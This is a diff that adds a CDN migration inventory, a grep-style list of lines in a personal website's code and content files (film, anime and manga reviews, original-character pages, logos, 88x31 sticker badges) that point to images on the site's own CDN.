+images/manga/1987-tomie-junji-ito.jpg +images/manga/1991-perfect-blue-yoshikazu-takeuchi.jpeg +images/manga/1998-uzumaki-junji-ito.jpg +images/manga/2007-fraction-shintaro-kago.jpg +images/manga/2008-omoide-emanon-kenji-tsuruta.jpg +images/manga/2009-aku-no-hana-shuzo-oshimi.png +images/manga/2013-venus-in-the-blind-spot-junji-ito.jpg +images/manga/2015-that-time-i-got-reincarnated-as-a-slime-taiki-kawakami.jpg +images/manga/2017-chi-no-wadachi-shuzo-oshimi.jpg +images/people/authors/ +images/people/authors/` +images/posts/news/gemini-1.5-pro-context-comparison.mp4 +images/tv/1976-charlies-angels-ivan-goff-ben-roberts.jpg +images/tv/2000-gilmore-girls-amy-sherman-palladino.jpg +images/tv/2007-gossip-girl-josh-schwartz-stephanie-savage.jpg +images/tv/2009-the-vampire-diaries-kevin-williamson-julie-plec.jpg +images/tv/2018-the-haunting-of-hill-house-mike-flanagan.jpg +images/tv/2020-bridgerton-chris-van-dusen.jpg +mirrors/gwer +mirrors/gwern.net/js/404-guesser.js +mirrors/gwern.net/js/utility.js +photos/ +photos/` +photos/covers/literature/2018-my-year-of-rest-and-relaxation-ottessa-moshfegh.jpg diff --git a/doc/files/cdn/migration/output/cdn-references.txt b/doc/files/cdn/migration/output/cdn-references.txt new file mode 100644 index 0000000000000000000000000000000000000000..4a18357c47e22070438da2e618af56b89ff89b27 --- /dev/null +++ b/doc/files/cdn/migration/output/cdn-references.txt @@ -0,0 +1,434 @@ +/home/krisyotam/src/photos.krisyotam.com/next.config.js:10: pathname: "/cdn/**", +/home/krisyotam/src/photos.krisyotam.com/README.md:9:Images are stored on the CDN at `krisyotam.com/cdn/photos/` (STARGATE server, `/mnt/storage/cdn/photos/`). Metadata lives in a SQLite database at `public/images.db`. The site is statically generated at build time and served behind nginx. +/home/krisyotam/src/photos.krisyotam.com/README.md:38:1. Upload to STARGATE: `scp image.jpg server:/mnt/storage/cdn/photos/<category>/` +/home/krisyotam/src/photos.krisyotam.com/README.md:42: VALUES ('https://krisyotam.com/cdn/photos/<category>/image.jpg', 'Title', 'Alt', '<category>');" +/home/krisyotam/lit/content/fiction/how-they-fall.mdx:18: <Img images={{ src: "https://krisyotam.com/cdn/assets/covers/fiction/how-they-fall/aurora-miller.png", alt: "Aurora Miller", caption: "Aurora Miller" }} width={300} height={400} /> +/home/krisyotam/lit/content/fiction/how-they-fall.mdx:19: <Img images={{ src: "https://krisyotam.com/cdn/assets/covers/ocs/william-miller.png", alt: "William Miller", caption: "William Miller" }} width={300} height={400} /> +/home/krisyotam/src/krisyotam.com/src/components/nav/NeighborsOverlay.tsx:7: { name: "Ransei's Void", src: "https://krisyotam.com/cdn/assets/stickers/neighbors/ransei.gif", href: "https://ransei.neocities.org" }, +/home/krisyotam/src/krisyotam.com/src/components/nav/NeighborsOverlay.tsx:20: twinkleRef.current = new Audio("https://krisyotam.com/cdn/audio/sfx/twinkle.mp3") +/home/krisyotam/lit/content/reviews/les-yeux-sans-visage.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1960-les-yeux-sans-visage-georges-franju.jpg" +/home/krisyotam/lit/content/reviews/pride-and-prejudice.mdx:11: https://krisyotam.com/cdn/images/literature/1813-pride-and-prejudice-penguin-classics.jpg +/home/krisyotam/lit/content/essays/boy-interrupted.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/essays/remedios-varo--embroidering-the-earths-mantle-1961.jpg' +/home/krisyotam/lit/content/essays/god-is-not-a-respector-of-persons.mdx:11: https://krisyotam.com/cdn/assets/covers/blog/God-is-not-a-respecter-of-persons.png +/home/krisyotam/lit/content/reviews/jeanne-dielman.mdx:13: https://krisyotam.com/cdn/images/film/1975-jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman.png +/home/krisyotam/lit/content/reviews/that-time-i-got-reincarnated-as-a-slime.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/manga/2015-that-time-i-got-reincarnated-as-a-slime-taiki-kawakami.jpg' +/home/krisyotam/lit/content/essays/on-the-learning-of-difficult-things.mdx:13: https://krisyotam.com/cdn/assets/covers/essays/nikolai-bogdanov-belsky--mental-arithmetic-1895.webp +/home/krisyotam/lit/content/essays/that-lust-cannot-be-sated.mdx:11: https://krisyotam.com/cdn/assets/covers/essays/hieronymus-bosch--the-garden-of-earthly-delights-1510.webp +/home/krisyotam/lit/content/reviews/the-breakfast-club.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1985-the-breakfast-club-john-hughes.webp" +/home/krisyotam/lit/content/reviews/mulholland-dr.mdx:11: https://krisyotam.com/cdn/images/film/2001-mulholland-drive-david-lynch.jpg +/home/krisyotam/lit/content/essays/letter-to-the-licentious.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/essays/thomas-couture--romans-during-the-decadence-1847.jpg' +/home/krisyotam/lit/content/reviews/breakfast-at-tiffanys.mdx:13: https://krisyotam.com/cdn/images/film/1961-breakfast-at-tiffanys-blake-edwards.jpg +/home/krisyotam/lit/content/reviews/house-party.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1990-house-party-reginald-hudlin.webp" +/home/krisyotam/lit/content/reviews/possession.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1981-possession-andrzej-zulawski.jpg" +/home/krisyotam/lit/content/essays/ulalume-close-reading.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/blog/ulalume.jpg' +/home/krisyotam/lit/content/reviews/haibane-renmei.mdx:13: https://krisyotam.com/cdn/images/anime/2002-haibane-renmei-tomokazu-tokoro.jpg +/home/krisyotam/lit/content/reviews/the-haunting-of-hill-house.mdx:11:cover_image: "https://krisyotam.com/cdn/images/tv/2018-the-haunting-of-hill-house-mike-flanagan.jpg" +/home/krisyotam/lit/content/essays/marie-taglioni-first-to-float.mdx:11: https://krisyotam.com/cdn/assets/covers/blog/marie-taglioni-the-first-to-float.jpg +/home/krisyotam/lit/content/reviews/picnic-at-hanging-rock.mdx:13: https://krisyotam.com/cdn/images/film/1975-picnic-at-hanging-rock-peter-weir.jpg +/home/krisyotam/lit/content/essays/reply-to-mephisto.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/blog/eugene-delacroix--mephistopheles-apparaissant-a-faust-1828.jpg' +/home/krisyotam/lit/content/essays/god-is-not-a-temptor-of-man.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/blog/god-is-not-a-tempter-of-man.png' +/home/krisyotam/lit/content/essays/the-waste-land-close-reading.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/blog/the-waste-land.jpg' +/home/krisyotam/lit/content/reviews/weapons.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/film/2025-weapons-zach-cregger.jpg' +/home/krisyotam/lit/content/essays/be-not-overly-righteous.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/blog/do-not-be-overly-righteous.png' +/home/krisyotam/lit/content/reviews/mermaids.mdx:10:cover_image: 'https://krisyotam.com/cdn/images/film/1990-mermaids-richard-benjamin.jpg' +/home/krisyotam/lit/content/reviews/logh.mdx:13: https://krisyotam.com/cdn/images/anime/1988-legend-of-the-galactic-heroes-noboru-ishiguro.jpg +/home/krisyotam/lit/content/reviews/wistoria-wand-and-sword.mdx:13: https://krisyotam.com/cdn/images/anime/2024-wistoria-wand-and-sword-tatsuya-yoshihara.jpg +/home/krisyotam/lit/content/reviews/love-and-basketball-agenda.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/2000-love-and-basketball-gina-prince-bythewood.jpg" +/home/krisyotam/lit/content/reviews/sousou-no-frieren.mdx:13: https://krisyotam.com/cdn/images/anime/2023-frieren-beyond-journeys-end-keiichiro-saito.jpg +/home/krisyotam/lit/content/essays/i-learned-to-lie-by-listening-to-clocks-villanelle.mdx:11: https://krisyotam.com/cdn/assets/covers/blog/john-william-waterhouse--the-crystal-ball-1902.jpeg +/home/krisyotam/lit/content/reviews/lost-highway.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1997-lost-highway-david-lynch.png" +/home/krisyotam/lit/content/reviews/koukaku-kidoutai.mdx:13: https://krisyotam.com/cdn/images/anime/1995-ghost-in-the-shell-mamoru-oshii.jpg +/home/krisyotam/lit/content/reviews/all-about-eve.mdx:13: https://krisyotam.com/cdn/images/film/1950-all-about-eve-joseph-l-mankiewicz.jpg +/home/krisyotam/lit/content/reviews/ergo-proxy.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/anime/2006-ergo-proxy-shuko-murase.jpg' +/home/krisyotam/lit/content/reviews/the-tale-of-princess-kaguya.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/2013-the-tale-of-princess-kaguya-isao-takahata.jpg" +/home/krisyotam/lit/content/reviews/never-let-me-go.mdx:11: https://krisyotam.com/cdn/images/literature/2005-never-let-me-go-kazuo-ishiguro.jpg +/home/krisyotam/lit/content/reviews/cowboy-bebop.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/1998-cowboy-bebop-shinichiro-watanabe.jpg" +/home/krisyotam/lit/content/ocs/lavinia-fairchild.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/lavinia-fairchild.png' +/home/krisyotam/lit/content/reviews/heathers.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/film/1989-heathers-michael-lehmann.jpg' +/home/krisyotam/lit/content/reviews/perfect-blue.mdx:11:cover_image: 'https://krisyotam.com/cdn/images/film/1997-perfect-blue-satoshi-kon.jpeg' +/home/krisyotam/lit/content/reviews/fraction-manga.mdx:11:cover_image: "https://krisyotam.com/cdn/images/manga/2007-fraction-shintaro-kago.jpg" +/home/krisyotam/lit/content/reviews/the-end-of-evangelion.mdx:13: https://krisyotam.com/cdn/images/anime/1995-neon-genesis-evangelion-hideaki-anno.jpg +/home/krisyotam/lit/content/reviews/the-shining.mdx:13: https://krisyotam.com/cdn/images/film/1980-the-shining-stanley-kubrick.jpg +/home/krisyotam/lit/content/ocs/azazel.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/azazel.png' +/home/krisyotam/lit/content/reviews/perfect-blue-manga.mdx:11:cover_image: "https://krisyotam.com/cdn/images/manga/1991-perfect-blue-yoshikazu-takeuchi.jpeg" +/home/krisyotam/lit/content/reviews/uzumaki.mdx:11:cover_image: "https://krisyotam.com/cdn/images/manga/1998-uzumaki-junji-ito.jpg" +/home/krisyotam/src/krisyotam.com/src/components/home/about/ThemeImageCompare.tsx:44: ? "https://www.krisyotam.com/cdn/assets/logos/krisyotam-site-dark.png" +/home/krisyotam/src/krisyotam.com/src/components/home/about/ThemeImageCompare.tsx:45: : "https://www.krisyotam.com/cdn/assets/logos/krisyotam-site-light.png"; +/home/krisyotam/src/krisyotam.com/src/components/home/about/ThemeImageCompare.tsx:47: ? "https://www.krisyotam.com/cdn/assets/logos/krisyotam-site-light.png" +/home/krisyotam/src/krisyotam.com/src/components/home/about/ThemeImageCompare.tsx:48: : "https://www.krisyotam.com/cdn/assets/logos/krisyotam-site-dark.png"; +/home/krisyotam/lit/content/reviews/vampire-diaries.mdx:13: https://krisyotam.com/cdn/images/tv/2009-the-vampire-diaries-kevin-williamson-julie-plec.jpg +/home/krisyotam/lit/content/reviews/aku-no-hana.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/manga/2009-aku-no-hana-shuzo-oshimi.png' +/home/krisyotam/lit/content/reviews/angels-egg.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/1985-angels-egg-mamoru-oshii.jpeg" +/home/krisyotam/lit/content/ocs/aurora-miller.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/aurora-miller.png' +/home/krisyotam/lit/content/reviews/venus-in-the-blind-spot.mdx:11:cover_image: "https://krisyotam.com/cdn/images/manga/2013-venus-in-the-blind-spot-junji-ito.jpg" +/home/krisyotam/lit/content/reviews/tensei-shitara-slime-datta-ken.mdx:13: https://krisyotam.com/cdn/images/anime/2018-that-time-i-got-reincarnated-as-a-slime-yasuhito-kikuchi.jpg +/home/krisyotam/lit/content/reviews/pulp-fiction.mdx:13: https://krisyotam.com/cdn/images/film/1994-pulp-fiction-quentin-tarantino.jpg +/home/krisyotam/lit/content/reviews/texhnolyze.mdx:13: https://krisyotam.com/cdn/images/anime/2003-texhnolyze-hiroshi-hamasaki.jpg +/home/krisyotam/lit/content/reviews/frugal-bookstore.mdx:10:cover_image: 'https://krisyotam.com/cdn/images/bookstores/frugal-muse.jpg' +/home/krisyotam/lit/content/ocs/josephine-gilroy.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/josephine-gilroy.png' +/home/krisyotam/lit/content/reviews/the-duncan-sisters-eva-and-topsy.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1927-topsy-and-eva-del-lord.jpg" +/home/krisyotam/lit/content/reviews/girl-interrupted.mdx:13: https://krisyotam.com/cdn/images/film/1999-girl-interrupted-james-mangold.png +/home/krisyotam/lit/content/reviews/the-village-booksmith.mdx:10:cover_image: 'https://krisyotam.com/cdn/images/bookstores/the-village-booksmith.jpg' +/home/krisyotam/lit/content/reviews/chi-no-wadachi.mdx:13: https://krisyotam.com/cdn/images/manga/2017-chi-no-wadachi-shuzo-oshimi.jpg +/home/krisyotam/lit/content/reviews/elfen-lied.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/anime/2004-elfen-lied-mamoru-kanbe.jpg' +/home/krisyotam/lit/content/ocs/imogen-riccheti.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/imogen-riccheti.png' +/home/krisyotam/lit/content/reviews/diary-of-a-lost-girl.mdx:13: https://krisyotam.com/cdn/images/film/1929-diary-of-a-lost-girl-gw-pabst.jpg +/home/krisyotam/lit/content/ocs/william-miller.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/william-miller.png' +/home/krisyotam/lit/content/reviews/flcl.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/2000-flcl-kazuya-tsurumaki.jpg" +/home/krisyotam/lit/content/reviews/omoide-emanon.mdx:11: https://krisyotam.com/cdn/images/manga/2008-omoide-emanon-kenji-tsuruta.jpg +/home/krisyotam/lit/content/reviews/citizen-kane.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/film/1941-citizen-kane-orson-welles.jpg' +/home/krisyotam/lit/content/ocs/elmer-remington.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/elmer-remington.png' +/home/krisyotam/lit/content/reviews/gossip-girl.mdx:13: https://krisyotam.com/cdn/images/tv/2007-gossip-girl-josh-schwartz-stephanie-savage.jpg +/home/krisyotam/lit/content/reviews/charlies-angels.mdx:13: https://krisyotam.com/cdn/images/tv/1976-charlies-angels-ivan-goff-ben-roberts.jpg +/home/krisyotam/lit/content/reviews/night-on-earth.mdx:11:cover_image: "https://krisyotam.com/cdn/images/film/1991-night-on-earth-jim-jarmusch.jpg" +/home/krisyotam/lit/content/reviews/speed-grapher.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/2005-speed-grapher-kunihisa-sugishima.jpeg" +/home/krisyotam/lit/content/ocs/lior-elyon.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/lior-elyon.png' +/home/krisyotam/lit/content/reviews/casablanca.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/film/1942-casablanca-michael-curtiz.jpg' +/home/krisyotam/lit/content/reviews/death-note.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/2006-death-note-tetsuro-araki.jpg" +/home/krisyotam/lit/content/reviews/gilmore-girls.mdx:13: https://krisyotam.com/cdn/images/tv/2000-gilmore-girls-amy-sherman-palladino.jpg +/home/krisyotam/lit/content/ocs/miranda-strauss.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/miranda-strauss.png' +/home/krisyotam/lit/content/reviews/bridgerton.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/tv/2020-bridgerton-chris-van-dusen.jpg' +/home/krisyotam/src/krisyotam.com/src/components/home/HomeHeader.tsx:24: src="https://krisyotam.com/cdn/assets/logos/krisyotam-personal-crest.png" +/home/krisyotam/src/krisyotam.com/src/components/home/HomeHeader.tsx:35: src="https://krisyotam.com/cdn/assets/logos/krisyotam-personal-crest-darkmode.png" +/home/krisyotam/src/krisyotam.com/src/components/home/HomeHeader.tsx:67: src="https://krisyotam.com/cdn/assets/logos/krisyotam-light.png" +/home/krisyotam/src/krisyotam.com/src/components/home/HomeHeader.tsx:78: src="https://krisyotam.com/cdn/assets/logos/krisyotam-dark.png" +/home/krisyotam/lit/content/reviews/tomie.mdx:12:cover_image: 'https://krisyotam.com/cdn/images/manga/1987-tomie-junji-ito.jpg' +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:6: dark: "https://krisyotam.com/cdn/assets/logos/krisyotam-site-sticker-darkmode.gif", +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:7: light: "https://krisyotam.com/cdn/assets/logos/krisyotam-site-sticker-lightmode.gif", +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:11: { name: "Neocities", src: "https://krisyotam.com/cdn/assets/stickers/88x31/neocities.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:12: { name: "Neocities.org", src: "https://krisyotam.com/cdn/assets/stickers/88x31/neocitiesorg.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:13: { name: "Linux", src: "https://krisyotam.com/cdn/assets/stickers/88x31/linux-p.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:14: { name: "Edited with Vim", src: "https://krisyotam.com/cdn/assets/stickers/88x31/edited-with-vim.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:15: { name: "Tor", src: "https://krisyotam.com/cdn/assets/stickers/88x31/tor.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:16: { name: "Wget", src: "https://krisyotam.com/cdn/assets/stickers/88x31/wget.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:17: { name: "Wikipedia", src: "https://krisyotam.com/cdn/assets/stickers/88x31/wikipedia.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:18: { name: "Sharing is Caring", src: "https://krisyotam.com/cdn/assets/stickers/88x31/sharing-is-caring.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:19: { name: "Right to Repair", src: "https://krisyotam.com/cdn/assets/stickers/88x31/right2repair.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:20: { name: "Miku Approved", src: "https://krisyotam.com/cdn/assets/stickers/88x31/this-site-is-miku-approved.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:21: { name: "Winamp", src: "https://krisyotam.com/cdn/assets/stickers/88x31/winampg.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:22: { name: "Volta", src: "https://krisyotam.com/cdn/assets/stickers/88x31/volta.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:23: { name: "Free Speech Forever", src: "https://krisyotam.com/cdn/assets/stickers/88x31/free-speech-forever.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:24: { name: "I Use Arch Linux BTW", src: "https://krisyotam.com/cdn/assets/stickers/88x31/i-use-arch-linux-btw-88x31.png" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:25: { name: "Vivaldi", src: "https://krisyotam.com/cdn/assets/stickers/88x31/vivaldi.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:26: { name: "Bad Apple", src: "https://krisyotam.com/cdn/assets/stickers/88x31/bad-apple.webp" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:27: { name: "Made in Arch", src: "https://krisyotam.com/cdn/assets/stickers/88x31/this-site-was-made-in-arch.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:28: { name: "Sonic", src: "https://krisyotam.com/cdn/assets/stickers/88x31/sonic.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:29: { name: "I Love Old Web", src: "https://krisyotam.com/cdn/assets/stickers/88x31/iloveoldweb.png" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:30: { name: "3DS Owner", src: "https://krisyotam.com/cdn/assets/stickers/88x31/3dsowner.jpg" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:31: { name: "Nintendo Wii", src: "https://krisyotam.com/cdn/assets/stickers/88x31/nintedowii.png" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:32: { name: "NOAA", src: "https://krisyotam.com/cdn/assets/stickers/88x31/noaa.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:33: { name: "iToddler", src: "https://krisyotam.com/cdn/assets/stickers/88x31/itoddler.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:34: { name: "GeoCities", src: "https://krisyotam.com/cdn/assets/stickers/88x31/geocities5.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:35: { name: "Lulu", src: "https://krisyotam.com/cdn/assets/stickers/88x31/lulu.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:36: { name: "Linux Directory", src: "https://krisyotam.com/cdn/assets/stickers/88x31/linux-directory.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:37: { name: "22", src: "https://krisyotam.com/cdn/assets/stickers/88x31/22.png" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:38: { name: "Fuck Facebook", src: "https://krisyotam.com/cdn/assets/stickers/88x31/fuck-facebook.svg" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:39: { name: "Powered by Plan 9", src: "https://krisyotam.com/cdn/assets/stickers/88x31/powered-by-plan9.gif" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:40: { name: "Black Lives Matter", src: "https://krisyotam.com/cdn/assets/stickers/88x31/blm-b.png" }, +/home/krisyotam/src/krisyotam.com/src/components/home/about/SiteInfo.tsx:41: { name: "Mothra Compatible", src: "https://krisyotam.com/cdn/assets/stickers/88x31/mothracompat.gif" }, +/home/krisyotam/lit/content/ocs/hortense-fletcher.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/hortense-fletcher.png' +/home/krisyotam/lit/content/reviews/tatami-galaxy.mdx:11:cover_image: "https://krisyotam.com/cdn/images/anime/2010-the-tatami-galaxy-masaaki-yuasa.png" +/home/krisyotam/lit/content/reviews/serial-experiments-lain.mdx:11: https://krisyotam.com/cdn/images/anime/1998-serial-experiments-lain-ryutaro-nakamura.jpg +/home/krisyotam/lit/content/ocs/sydney-lane.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/sydney-lane.png' +/home/krisyotam/lit/content/ocs/zephyra.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/zephyra.png' +/home/krisyotam/lit/content/ocs/morgan-elwood.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/morgan-elwood.png' +/home/krisyotam/lit/content/ocs/astrid-baxter.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/astrid-baxter.png' +/home/krisyotam/lit/content/ocs/ena-of-mitani.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/ena-of-mitani.png' +/home/krisyotam/lit/content/ocs/rylee-moncler.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/rylee-moncler.png' +/home/krisyotam/lit/content/ocs/prescilla-prescott.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/prescilla-prescott.png' +/home/krisyotam/lit/content/ocs/yifah-kohen.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/yifah-cohen.png' +/home/krisyotam/lit/content/blog/against-high-functioning-giftedness.mdx:13: https://krisyotam.com/cdn/assets/covers/blog/albert-anker--schreibender-knabe-mit-schwesterchen-1883.jpg +/home/krisyotam/lit/content/ocs/gertrude-jennings.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/gertrude-jennings.png' +/home/krisyotam/lit/content/ocs/chloe-elyon.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/chloe-elyon.png' +/home/krisyotam/lit/content/ocs/minerva-remington.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/minerva-remington.png' +/home/krisyotam/lit/content/ocs/lilith-taiyo.mdx:10:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/lillith.png' +/home/krisyotam/lit/content/ocs/saul-matsuda.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/ocs/saul-matsuda.png' +/home/krisyotam/lit/content/blog/analysis-of-susanna-kaysen.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/essays/analysis-of-susanna-kaysen.png' +/home/krisyotam/src/krisyotam.com/public/scripts/dev/fetchAnimePosters.js:20:const CDN_DIR = '/mnt/storage/cdn/images/anime/posters' +/home/krisyotam/src/krisyotam.com/public/scripts/dev/fetchAnimePosters.js:69: const cdnUrl = `https://krisyotam.com/cdn/images/anime/posters/${filename}` +/home/krisyotam/lit/content/blog/notes-on-old-macs.mdx:24:For reference on the MacBook (13-inch, Mid 2010), see the [technical specifications](https://krisyotam.com/cdn/archive/apple/macbook-13inch-mid-2010-technical-specifications.pdf). +/home/krisyotam/src/krisyotam.com/src/components/typography/expanded-footer-block.tsx:120: src="https://krisyotam.com/cdn/assets/logos/krisyotam-light.png" +/home/krisyotam/src/krisyotam.com/src/components/typography/expanded-footer-block.tsx:128: src="https://krisyotam.com/cdn/assets/logos/krisyotam-dark.png" +/home/krisyotam/lit/content/blog/on-torrents.mdx:12:cover_image: 'https://krisyotam.com/cdn/assets/covers/notes/on-torrents.png' +/home/krisyotam/src/krisyotam.com/src/app/(misc)/activity/client.tsx:22:const PFP = "https://krisyotam.com/cdn/assets/logos/krisyotam-light.png" +/home/krisyotam/lit/content/blog/remarks-on-measured-intelligence.mdx:11: https://krisyotam.com/cdn/assets/covers/blog/friedrich-rehberg--drawings-from-nature-pl09-1794.jpg +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:33: cover: "https://krisyotam.com/cdn/images/film/jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman-1975.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:39: cover: "https://krisyotam.com/cdn/images/film/vertigo-alfred-hitchcock-1958.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:45: cover: "https://krisyotam.com/cdn/images/film/citizen-kane-orson-welles-1941.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:51: cover: "https://krisyotam.com/cdn/images/film/tokyo-story-yasujiro-ozu-1953.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:57: cover: "https://krisyotam.com/cdn/images/film/in-the-mood-for-love-wong-kar-wai-2000.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:63: cover: "https://krisyotam.com/cdn/images/film/2001-a-space-odyssey-stanley-kubrick-1968.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:69: cover: "https://krisyotam.com/cdn/images/film/beau-travail-claire-denis-1999.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:75: cover: "https://krisyotam.com/cdn/images/film/mulholland-dr-david-lynch-2001.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:81: cover: "https://krisyotam.com/cdn/images/film/man-with-a-movie-camera-dziga-vertov-1929.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:87: cover: "https://krisyotam.com/cdn/images/film/singin-in-the-rain-gene-kelly-1952.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:93: cover: "https://krisyotam.com/cdn/images/film/sunrise-a-song-of-two-humans-fw-murnau-1927.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:99: cover: "https://krisyotam.com/cdn/images/film/the-godfather-francis-ford-coppola-1972.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:105: cover: "https://krisyotam.com/cdn/images/film/la-regle-du-jeu-jean-renoir-1939.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:111: cover: "https://krisyotam.com/cdn/images/film/cleo-from-5-to-7-agnes-varda-1962.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:117: cover: "https://krisyotam.com/cdn/images/film/the-searchers-john-ford-1956.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:123: cover: "https://krisyotam.com/cdn/images/film/meshes-of-the-afternoon-maya-deren-1943.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:129: cover: "https://krisyotam.com/cdn/images/film/close-up-abbas-kiarostami-1990.jpg", +/home/krisyotam/lit/content/blog/bfi-sight-and-sound-250.mdx:135: cover: "https://krisyotam.com/cdn/images/film/persona-ingmar-bergman-1966.jpg", 